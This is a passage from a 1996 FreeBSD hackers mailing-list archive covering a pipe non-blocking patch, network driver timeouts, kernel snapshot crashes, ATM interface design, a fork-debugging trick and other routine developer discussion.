(8.7.5/jtpda-5.2) id LAA00883 ; Fri, 28 Jun 1996 11:19:39 +0200 (MET DST) Date: Fri, 28 Jun 1996 11:19:39 +0200 (MET DST) Message-Id: <199606280919.LAA00883@angrand.prism.uvsq.fr> To: "Michael L. VanLoon -- HeadCandy.com" Cc: Joe McGuckin , hackers@freebsd.org Subject: Re: What is EDO memory? In-Reply-To: <199606280335.UAA05788@MindBender.HeadCandy.com> References: <199606280240.TAA03861@ns.via.net> <199606280335.UAA05788@MindBender.HeadCandy.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk From owner-freebsd-hackers Fri Jun 28 01:50:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA19365 for hackers-outgoing; Fri, 28 Jun 1996 01:50:18 -0700 (PDT) Received: from melb.werple.net.au (melb.werple.net.au [203.9.190.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA19360 for ; Fri, 28 Jun 1996 01:50:15 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by melb.werple.net.au (8.7.5/8.7.3/2) with SMTP id SAA09841; Fri, 28 Jun 1996 18:47:22 +1000 (EST) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id SAA20014; Fri, 28 Jun 1996 18:42:18 +1000 Date: Fri, 28 Jun 1996 18:42:18 +1000 From: Bruce Evans Message-Id: <199606280842.SAA20014@godzilla.zeta.org.au> To: cimaxp1!jb@werple.net.au, haldjas.folklore.ee!narvi@melb.werple.net.au Subject: Re: Threads for -stable Cc: FreeBSD.org!hackers@melb.werple.net.au Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >libc_r from -current should work with -stable. We use it with 2.1R. We >*can't* use it with -current because of the pipe problems. This reminds me that your pipe problem is supposed to be fixed (by disabling an optimization) in -current, but isn't because the wrong NBIO flag is checked. The per-pipe NBIO flag is still wrong for another reason. O_NONBLOCK is supposed to be per-fd. fcntl() converts O_NONBLOCK to FIONBIO for the benefit of old drivers but it is possible for the per-fd flag to differ from the per-device flag and the behaviour when the per-device flag is modified while another process is blocked waiting for i/o is unpredictable. This problem affects pipes, sockets, tty_snoop, bpf and tun. Bruce *** sys_pipe.c~ Mon Jun 17 23:27:59 1996 --- sys_pipe.c Wed Jun 19 15:40:04 1996 *************** *** 737,741 **** * direct write mechanism. */ ! if ((wpipe->pipe_state & PIPE_NBIO) == 0 && (amountpipekva < LIMITPIPEKVA) && (uio->uio_iov->iov_len >= PIPE_MINDIRECT)) { --- 748,752 ---- * direct write mechanism. */ ! if (!nbio && (amountpipekva < LIMITPIPEKVA) && (uio->uio_iov->iov_len >= PIPE_MINDIRECT)) { From owner-freebsd-hackers Fri Jun 28 02:07:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA20447 for hackers-outgoing; Fri, 28 Jun 1996 02:07:02 -0700 (PDT) Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA20441 for ; Fri, 28 Jun 1996 02:06:59 -0700 (PDT) Received: from guillotin.prism.uvsq.fr (guillotin.prism.uvsq.fr [193.51.25.1]) by soleil.uvsq.fr (8.7.5/jtpda-5.2) with ESMTP id LAA29231 ; Fri, 28 Jun 1996 11:06:56 +0200 (METDST) Received: from angrand.prism.uvsq.fr (angrand.prism.uvsq.fr [193.51.25.85]) by guillotin.prism.uvsq.fr (8.7.5/jtpda-5.2) with ESMTP id LAA24175 ; Fri, 28 Jun 1996 11:06:55 +0200 (MET DST) From: Nicolas.Souchu@prism.uvsq.fr (Nicolas SOUCHU) Received: from (son@localhost) by angrand.prism.uvsq.fr (8.7.5/jtpda-5.2) id MAA00980 ; Fri, 28 Jun 1996 12:08:50 +0200 (MET DST) Date: Fri, 28 Jun 1996 12:08:50 +0200 (MET DST) Message-Id: <199606281008.MAA00980@angrand.prism.uvsq.fr> To: Nicolas.Souchu@prism.uvsq.fr (Nicolas SOUCHU) Cc: "Michael L. VanLoon -- HeadCandy.com" , Joe McGuckin , hackers@FreeBSD.ORG Subject: empty mails... sorry In-Reply-To: <199606280919.LAA00883@angrand.prism.uvsq.fr> References: <199606280240.TAA03861@ns.via.net> <199606280335.UAA05788@MindBender.HeadCandy.com> <199606280919.LAA00883@angrand.prism.uvsq.fr> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You may have received empty mails, I'm sorry. Greetings, nicolas -- Nicolas.Souchu@prism.uvsq.fr -- http://www.prism.uvsq.fr/son~ Laboratoire PRiSM - Versailles, FRANCE From owner-freebsd-hackers Fri Jun 28 03:31:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA24360 for hackers-outgoing; Fri, 28 Jun 1996 03:31:11 -0700 (PDT) Received: from ccslinux.dlsu.edu.ph (humprey@linux1.dlsu.edu.ph [165.220.8.15]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id DAA24347 for ; Fri, 28 Jun 1996 03:30:44 -0700 (PDT) Received: (from humprey@localhost) by ccslinux.dlsu.edu.ph (8.6.12/8.6.9) id SAA24225; Fri, 28 Jun 1996 18:36:36 +0800 Date: Fri, 28 Jun 1996 18:36:35 +0800 (GMT+0800) From: "Humprey C. Sy" To: nick liu cc: hackers@freebsd.org Subject: RE: ed0 -- device timeout In-Reply-To: <9606280044.AA00882@hud.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk There might be irq conflicts. If there are some other devices already using irq 5, that might be the problem. Try changing it to another available irq number (i think you could try irq 10). Humprey Sy De La Salle University Manila, Philippines On Thu, 27 Jun 1996, nick liu wrote: > > I am randomly getting ed0 kernel device timeout messages from my Freebsd > > 2.0R machine... > > > > I am running a NE2000 clone network card... > > > > (I have other devices on the network running OK - and the cabling is fine.) > > > > Is the card faulty or should I be using a different NIC with better > > driver code in the Kernel ? > > > > Here is my dmesg output: > > ed0 at 0x280-0x29f irq 5 on isa > > ed0: address 00:00:01:04:80:53, type NE2000 (16 bit) > > > > Errors-: > > ed0: device timeout > > ed0: device timeout > > > > John Herks > > john@pyromania.apana.org.au > > > My problem is similar. The system boots up without any stange problem > until "routed" starts to run. And then, "ed0: device timeout..." > > Is there a cure??? > > From owner-freebsd-hackers Fri Jun 28 03:51:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA24804 for hackers-outgoing; Fri, 28 Jun 1996 03:51:06 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id DAA24799 for ; Fri, 28 Jun 1996 03:51:03 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id LAA01101; Fri, 28 Jun 1996 11:50:58 +0100 Date: Fri, 28 Jun 1996 11:50:57 +0100 (BST) From: Developer To: "Jordan K. Hubbard" cc: hackers@freebsd.org Subject: Re: BSD V2.2 In-Reply-To: <25953.835816385@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 26 Jun 1996, Jordan K. Hubbard wrote: > > Ive just tried running the ready compiled kernel from that snapshot and I > > get the same cold reboot.. I'm beginning to think that there is a bug in > > this snap that means it won't work :( > > Well, now that is different. I suspected your config file up to now > since you really have turned on some oddball combinations there (and > I'd *still* prune it drastically if this other problem weren't > occurring since it still looks more like LINT than GENERIC), but if > the kernel I supplied is broken then it does indeed look like there's > some incompatibility with your system. Can you describe your system > configuration to me in detail? Okay, here we go:- I tried it on a: AMD DX4x100Mzh, 16MB of memory. Award modular bios. Adaptec SCSI card (used the ahc driver) on VLB. 2x1GB SCSI drive. Enhanced IO card (EIDE, 2 serial, 1 parallel, joystick etc). Green motherboard (Pretty standard really). Floppy drive. That's about it really, nothing out of the ordinary.. The V2.1 kernels run fine.. I'm gonna try an older 2.2 snapshot and see if that works next. Any ideas would be appreciated. Regards, Trefor S. From owner-freebsd-hackers Fri Jun 28 05:06:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA28883 for hackers-outgoing; Fri, 28 Jun 1996 05:06:38 -0700 (PDT) Received: from spooky.rwwa.com (rwwa.com [198.115.177.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA28878 for ; Fri, 28 Jun 1996 05:06:34 -0700 (PDT) Received: from localhost.rwwa.com (localhost.rwwa.com [127.0.0.1]) by spooky.rwwa.com (8.6.12/8.6.12) with SMTP id IAA12224 for ; Fri, 28 Jun 1996 08:06:45 -0400 Message-Id: <199606281206.IAA12224@spooky.rwwa.com> X-Authentication-Warning: spooky.rwwa.com: Host localhost.rwwa.com didn't use HELO protocol X-Mailer: exmh version 1.6.5 12/11/95 To: hackers@FreeBSD.ORG Subject: Re: How to... In-reply-to: Your message of "Thu, 27 Jun 1996 20:34:36 PDT." <1808.835932876@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jun 1996 08:06:45 -0400 From: Robert Withrow Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Someone asked about ``cloning'' a FreeBSD system, and jkh@time.cdrom.com said: > Easy, just copy a FreeBSD distribution under ~ftp/pub on the server > and then select this server under "Other" on the FTP site selection > menu as "ftp://yourname/pub" That isn't what I would mean by ``clone'', and I don't think that is what the original person meant. Interactive SVR4 had this neat feature called a ``gaspump'' tape that worked thisway: 1) You booted the system with the boot floppies 2) You typed a magic command 3) The system was cpioed to a tape then, at the target system 4) You booted the floppy 5) You ``filled 'er up'' from the gaspump tape. 6) After the tape was dumped on the new system, the boot floppy scripts asked you for the new IP address, system name, etc. (I.e. all the things that need to be different in a ``cloned'' system. 7) You rebooted and bingo, you were running. The idea is that you setup a FreeBSD configuration *once* (build kernals, install packages, etc...) then you ``clone'' it to all the other machines in the area... I've thought about setting this up several times, but I've never gotten it done. Has any one else done this. ----------------------------------------------------------------------------- Robert Withrow, Tel: +1 617 592 8935, Net: witr@rwwa.COM From owner-freebsd-hackers Fri Jun 28 05:14:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA29260 for hackers-outgoing; Fri, 28 Jun 1996 05:14:22 -0700 (PDT) Received: from casparc.ppp.net (casparc.ppp.net [194.64.12.35]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA29254 for ; Fri, 28 Jun 1996 05:14:19 -0700 (PDT) Received: from schubert.promo.de by casparc.ppp.net with smtp (Smail3.1.28.1 #1) id m0uZcQz-000HzgC; Fri, 28 Jun 96 14:14 MET DST Received: from quick.promo.de (quick.Promo.DE [194.45.188.67]) by schubert.promo.de (8.6.12/8.6.12) with SMTP id OAA01816 for ; Fri, 28 Jun 1996 14:12:03 +0200 Message-ID: Date: 28 Jun 1996 14:13:19 +0200 From: "Stefan Bethke" Subject: --) To: "FreeBSD Hackers" X-Mailer: Mail*Link SMTP-QM 3.0.2 Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1"; Name="Message Body" Content-Transfer-Encoding: quoted-printable Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >From the german computer magazine UNIXopen, july 96, in an article about = Linux kernel issues (actually the first line): "Memory management is one of the strong points of Linux." Stefan -- Promo Datentechnik | Tel. 040/431360-0 + Systemberatung GmbH | Fax. 040/431360-60 Waterloohain 6-8 | e-mail: stefan@Promo.DE D-22769 Hamburg | http://www.Promo.DE/ From owner-freebsd-hackers Fri Jun 28 05:22:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA00186 for hackers-outgoing; Fri, 28 Jun 1996 05:22:57 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA00180 for ; Fri, 28 Jun 1996 05:22:53 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id NAA06602; Fri, 28 Jun 1996 13:23:03 +0100 Date: Fri, 28 Jun 1996 13:23:02 +0100 (BST) From: Developer To: "Jordan K. Hubbard" cc: hackers@freebsd.org Subject: Re: BSD V2.2 In-Reply-To: <25953.835816385@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 26 Jun 1996, Jordan K. Hubbard wrote: > Well, now that is different. I suspected your config file up to now > since you really have turned on some oddball combinations there (and > I'd *still* prune it drastically if this other problem weren't > occurring since it still looks more like LINT than GENERIC), but if > the kernel I supplied is broken then it does indeed look like there's > some incompatibility with your system. Can you describe your system > configuration to me in detail? Ive just tried an older 2.2 snap and found that it crashes in the same way :( I think that maybe there is something in the 2.2 kernel that doesn't like our systems. I think that it must be something quite low level as it reboots before any of the system debug messages about the devices even come up. Very strange. Thanks for your help. Regards, Trefor S. From owner-freebsd-hackers Fri Jun 28 06:39:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA02959 for hackers-outgoing; Fri, 28 Jun 1996 06:39:14 -0700 (PDT) Received: from plains.nodak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA02954 for ; Fri, 28 Jun 1996 06:39:12 -0700 (PDT) Received: (from tinguely@localhost) by plains.nodak.edu (8.7.1/8.7.1) id IAA29637; Fri, 28 Jun 1996 08:38:51 -0500 (CDT) Date: Fri, 28 Jun 1996 08:38:51 -0500 (CDT) From: Mark Tinguely Message-Id: <199606281338.IAA29637@plains.nodak.edu> To: hackers@FreeBSD.ORG, joe@ns.via.net Subject: Re: Frame relay and ATM support: virtual interface per vpi? Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I was proposing a "atmdump" to a student interested in doing something in the network tool area. Since ATM adapters' SAR reconstitutes AAL packets (and a person couldn't keep up with the construction of AAL packets from cell in software) that they leave and report the PDUs with the recieved summary header (and trailer if appropriate). In this way, a person can save raw packets, display header, or control information just like "tcpdump". I would prefer to treat all the virtual circuits as one interface to have the ability to display everything and use command line filters to restrict the view just like "tcpdump". --mark. From owner-freebsd-hackers Fri Jun 28 07:43:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA05893 for hackers-outgoing; Fri, 28 Jun 1996 07:43:06 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA05878 for ; Fri, 28 Jun 1996 07:43:03 -0700 (PDT) Received: from gemini.sdsp.mc.xerox.com ([13.231.132.20]) by alpha.xerox.com with SMTP id <15007(7)>; Fri, 28 Jun 1996 07:42:19 PDT Received: from gnu.mc.xerox.com (gnu.sdsp.mc.xerox.com) by gemini.sdsp.mc.xerox.com (4.1/SMI-4.1-TB) id AA17832; Fri, 28 Jun 96 10:41:26 EDT Received: by gnu.mc.xerox.com (4.1/SMI-4.1) id AA19546; Fri, 28 Jun 96 10:41:25 EDT Message-Id: <9606281441.AA19546@gnu.mc.xerox.com> X-Mailer: exmh version 1.6.6 3/24/96 To: Tony Kimball Cc: fhackers@jraynard.demon.co.uk, jkh@time.cdrom.com, hackers@freebsd.org Subject: Re: longstanding, woeful inadeqacy In-Reply-To: Your message of "Thu, 27 Jun 1996 13:30:57 PDT." <199606272030.PAA26920@compound.Think.COM> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jun 1996 07:41:23 PDT From: "Marty Leisner" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk tracking forks/execs is an old problems...some debuggers I understand handle this acceptably... This trick works: #if 1 /* harmless -- trap fork on an environment to attach debugger */ static int fork_debug(void) { int result; result = fork(); if(result == 0 && getenv("FORKDEBUG")) { printf("Child is %d, stopped\n", getpid()); pause(); } return result; } #define fork fork_debug #endif Different OSes need different variants of the pause() -- SunOS works transparently... You can put a printf/pause in the target program right after main it is execed... -- marty leisner@sdsp.mc.xerox.com Member of the League for Programming Freedom From owner-freebsd-hackers Fri Jun 28 07:55:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA06638 for hackers-outgoing; Fri, 28 Jun 1996 07:55:20 -0700 (PDT) Received: from jau.csc.fi (root@jau.csc.fi [193.166.1.196]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA06633 for ; Fri, 28 Jun 1996 07:55:15 -0700 (PDT) Received: (from jau@localhost) by jau.csc.fi (8.7.5/8.6.12+CSC-2.1) id RAA22755; Fri, 28 Jun 1996 17:56:00 +0300 (EET DST) From: Jukka Ukkonen Message-Id: <199606281456.RAA22755@jau.csc.fi> Subject: Re: POSIX.4 signals + other POSIX.4 stuff to FreeBSD... To: bde@zeta.org.au (Bruce Evans) Date: Fri, 28 Jun 1996 17:55:59 +0300 (EET DST) Cc: hackers@freebsd.com In-Reply-To: <199606271240.WAA10241@godzilla.zeta.org.au> from "Bruce Evans" at Jun 27, 96 10:40:19 pm Latin-Date: Vineri XXVIII Iunie a.d. MCMXCVI Organization: Private person Phone: +358-0-6215280 (home) Content-Conversion: prohibited X-Mailer: ELM [version 2.4 PL25+pgp] MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Quoting Bruce Evans: > > > containing such an array. I have now more or less figured out > > all these code fragments within the kernel itself, but it seems > > that also the Linux application binary interface etc. LKMs have > > More importantly, the size of a sigset_t is appart of the BSD binary > interface. The kernel would have to support variably-sized sigset_t's > to support old binaries :-(. There is no such thing as a variably-sized > struct, and the current sigset_t doesn't encode its size, this isn't > easy. Yes, I know. The old interface would have to remain for all those programs that have been compiled and linked with the old version. Cheers, // jau ------ / Jukka A. Ukkonen, FUNET / Centre for Scientific Computing /__ M.Sc. (sw-eng & cs) Tel: (Home&Fax) +358-0-6215280 / Internet: ukkonen@csc.fi (Work) +358-0-4573208 v Internet: jau@funet.fi (Mobile) +358-400-606671 From owner-freebsd-hackers Fri Jun 28 08:05:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA07203 for hackers-outgoing; Fri, 28 Jun 1996 08:05:34 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA07195 for ; Fri, 28 Jun 1996 08:05:31 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id IAA14689 for freebsd-hackers@freefall.cdrom.com; Fri, 28 Jun 1996 08:05:21 -0700 (MST) From: Don Yuniskis Message-Id: <199606281505.IAA14689@seagull.rtd.com> Subject: sendmail.cf To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Fri, 28 Jun 1996 08:05:21 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! Shouldn't "sendmail.mc" (i.e. freefall.mc) and related m4 files be installed as part of the binary distribution? Or, is it felt that the user should have to install the source distribution to alter his sendmail configuration? (or, resort to manually tweaking sendmail.cf)? Thanx, --don From owner-freebsd-hackers Fri Jun 28 08:39:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA08733 for hackers-outgoing; Fri, 28 Jun 1996 08:39:38 -0700 (PDT) Received: from gateway.cybernet.com (gateway.cybernet.com [192.245.33.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA08724 for ; Fri, 28 Jun 1996 08:39:34 -0700 (PDT) Received: from spiffy.cybernet.com (spiffy.cybernet.com [192.245.33.55]) by gateway.cybernet.com (8.6.12/8.6.12) with SMTP id LAA28049; Fri, 28 Jun 1996 11:40:55 -0400 Message-ID: X-Mailer: XFMail 0.4-prerelease [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Fri, 28 Jun 1996 11:37:35 -0400 (EDT) Organization: Cybernet Systems Corporation From: (Mark J. Taylor) To: Jaye Mathisen Subject: Re: de0: Transmission timeout? Cc: Kurt Olsen , hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On 19:09:20 Jaye Mathisen wrote: >>Hmmm, I'm a bit skeptical of this explanation, for the following reason. >The same kernel and source tree is on 4 identical boxes (4 P120's), and >the 1 P6, and the P6 only has this problem. Swapping cards and slots >doesn't fix it either, it's only on the P6. > >So I'm thinking a hardware problem of somekind, but I can't imagine what. >3com cards work fine, the adaptec works fine, just the darn network card. > >On Thu, 27 Jun 1996, Kurt Olsen wrote: > >> I've seen this same behavior and a knowledgable friend tells me it's a >> common bug. Claims that it expires the arp entry for the default router, >> so you can't talk to it from anywhere outside the subnet. A work-around >> is to have either a cron job that pings out of your subnet every few minutes, >> or just do what I do and: >> >> % ping -i 300 >& /dev/null & >> >> I haven't look into the kernel to see if this is the case though, but the >> ping does the job (as well as logging in from the console, then telneting >> out.) >> >> Kurt >> I too have only experienced this on our one P6-200. We have several P5 machines with the SMC Ethernet (de0), and they do not exhibit this message. Sounds like a loop-counter in the de driver code instead of a sleep(). -Mark Taylor mtaylor@cybernet.com From owner-freebsd-hackers Fri Jun 28 08:45:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA09141 for hackers-outgoing; Fri, 28 Jun 1996 08:45:55 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA09135 for ; Fri, 28 Jun 1996 08:45:52 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id LAA17007; Fri, 28 Jun 1996 11:45:15 -0400 Date: Fri, 28 Jun 1996 11:45:14 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: hackers@FreeBSD.ORG Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-Reply-To: <199606281338.IAA29637@plains.nodak.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk OK, I'm finding this whole atm discussion interesting, but there's some conceptual problems cropping up. So I want to address these, since they impact how atm is integrated. I'm going to ignore UDP for the moment. Finding a useful analog to UDP in the ATM world is somewhat interesting, since ATM is VC-based. It seems to me that UDP will always be based on some sort of LAN emulation over VCs. Here's the picture the way things are now, roughly: Using a file descriptor, clients talk to a stream service provided by TCP. Kernel uses fd to get info, then passes it to the socket layer. Socket layer goes via protosw to tcp. TCP does its thing, using stored per-stream info, drops to ip_output. ip_output finds the interface via route if needed, passes mbufs to the interface. The IP layer is not really stream-conscious. Interface is a thing that knows how to push packets onto the 'wire', whatever that is (i.e. fiber, packet radio, real wire, etc.). [Golly, no wonder things take 300 microseconds. - ed.] Ok, what about ATM? well, there's a number of choices. I'll enumerate the ones we have for MINI, which is basicallyh one more than we have for everything else. 1) Use tcp. Same as above. Kind of weird, because TCP is supporting a multiple reliable byte stream model for applications, and using a multiple unreliable byte stream model from the interface. Doesn't sound as weird as it starts to look when you start to jam the driver in. 2) VC access by some form of 'open("/dev/atm", ); and other magic. application does writes and reads to FDs, which go to the interface. Making this work is "interesting" on some interfaces. Making it not impact TCP has got to somehow be more interesting. 3) Direct access to a virtual interface. No OS involvement. Application diddles CSRs directly. Application might even run TCP internally. Now, if (1) were the only thing you want to do, you could probably hide the VC as part of the routing table (Anyone? am i nuts?). If you want to do (2) as well, you could always use something like DLPI (AGGGGGHHHHH! NO! NO! NO!). But (3) sort of breaks the rules. Applications can use that interface any way they want. They can run TCP half the time, or not. They may send MPEG. Either way, the OS has no way of knowing what's happening, other than being able to see the raw amount of data being sent. Which, by implication, means that the kernel TCP also much less knowledge of what's really happening on the interface. I kind of like having the atm virtual interfaces which are active visible at the file system level in some way (i.e. /dev/atm012, etc.) *or* as a net interface. I personally don't really like this 'open up a generic thing and push bytecodes down it' business (i.e. DLPI-like). I suppose you can write a set of programs to pull out the relevant data from the relevant structs, or use sysctl somehow. But when i tried writing the first MINI driver for IRIX, though, I found myself recreating much of the structure that's in an 'if' struct anyway. Sorry this seems so random. My thoughts on this are pretty random anyways, revealing my basic confusion at this point. So the choices for ATM VC management: 1) as added info for routes (wouldn't this cover the TCP case?). fails for mini in both indirect and direct VC access modes. 2) DLPI-like mode. But then you need programs or 'sysctl' to traverse the kernel structures. DLPI-like interfaces make me ill. 3) interface-per-active VC. This was my first cut on IRIX. After dennis' comments I'm rethinking it. 4) /dev/ node per active VC. or some sort of devfs entry. This would be nice in many ways. 5) /proc-like setup. Sort of like the plan9 'net' file system. This may be the way to go. I like it more and more, compared to the alternative. Good paper on this in the plan9 archives. Comments? ron From owner-freebsd-hackers Fri Jun 28 09:10:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA10420 for hackers-outgoing; Fri, 28 Jun 1996 09:10:39 -0700 (PDT) Received: from etinc.com (etinc.com [204.141.244.98]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA10414 for ; Fri, 28 Jun 1996 09:10:36 -0700 (PDT) Received: from dialup-usr11.etinc.com (dialup-usr11.etinc.com [204.141.95.132]) by etinc.com (8.6.12/8.6.9) with SMTP id MAA24888; Fri, 28 Jun 1996 12:19:14 -0400 Date: Fri, 28 Jun 1996 12:19:14 -0400 Message-Id: <199606281619.MAA24888@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: Mark Tinguely From: dennis@etinc.com (Dennis) Subject: Re: Frame relay and ATM support: virtual interface per vpi? Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >I was proposing a "atmdump" to a student interested in doing something >in the network tool area. Since ATM adapters' SAR reconstitutes AAL >packets (and a person couldn't keep up with the construction of >AAL packets from cell in software) that they leave and report the >PDUs with the recieved summary header (and trailer if appropriate). > >In this way, a person can save raw packets, display header, or control >information just like "tcpdump". I would prefer to treat all the virtual >circuits as one interface to have the ability to display everything >and use command line filters to restrict the view just like "tcpdump". Its nice to have an option at the hardware level to do filters on a per connection basis. On a fast ATM link, you could be passing up a ton of data for user-level filtering. We just added per DLCI debugging because its just unworkable to filter everything at T1 speeds. Dennis > >--mark. > > ---------------------------------------------------------------------------- Emerging Technologies, Inc. http://www.etinc.com Synchronous Communications Cards and Routers For Discriminating Tastes. 56k to T1 and beyond. Frame Relay, PPP, HDLC, and X.25 for BSD/OS, FreeBSD and LINUX From owner-freebsd-hackers Fri Jun 28 09:43:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA12486 for hackers-outgoing; Fri, 28 Jun 1996 09:43:56 -0700 (PDT) Received: from covina.lightside.com (covina.lightside.com [207.67.176.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA12477 for ; Fri, 28 Jun 1996 09:43:54 -0700 (PDT) Received: from localhost by covina.lightside.com with smtp (Smail3.1.28.1 #6) id m0uZgdv-0004JzC; Fri, 28 Jun 96 09:43 PDT Date: Fri, 28 Jun 1996 09:43:38 -0700 (PDT) From: Jake Hamby To: hackers@FreeBSD.ORG cc: hamby@aris.jpl.nasa.gov Subject: BeBox->FreeBSD telnet trouble.. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I just received my BeBox (http://www.be.com/) yesterday and it is too cool! Will be porting lots of software to it in the future, hopefully. Anyway, my problem is minor, and FreeBSD related. The BeBox comes with a simple GUI VT emulator, and a command-line (it uses the bash shell) telnet program. When I telnet (via Ethernet) to my FreeBSD box, I find that I need to press ^J instead of Enter to end lines. Obviously there is some option negotiation the BeBox is not doing correctly. Can any network gurus provide me any information on which option(s) could cause this kind of problem, so I can maybe fix it myself by fiddling the telnet accept/deny negotiations and then complain to Be? Thanks in advance! ---Jake From owner-freebsd-hackers Fri Jun 28 09:49:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA13010 for hackers-outgoing; Fri, 28 Jun 1996 09:49:36 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (root@premise.CS.Berkeley.EDU [128.32.33.172]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA13004 for ; Fri, 28 Jun 1996 09:49:34 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (localhost.Berkeley.EDU 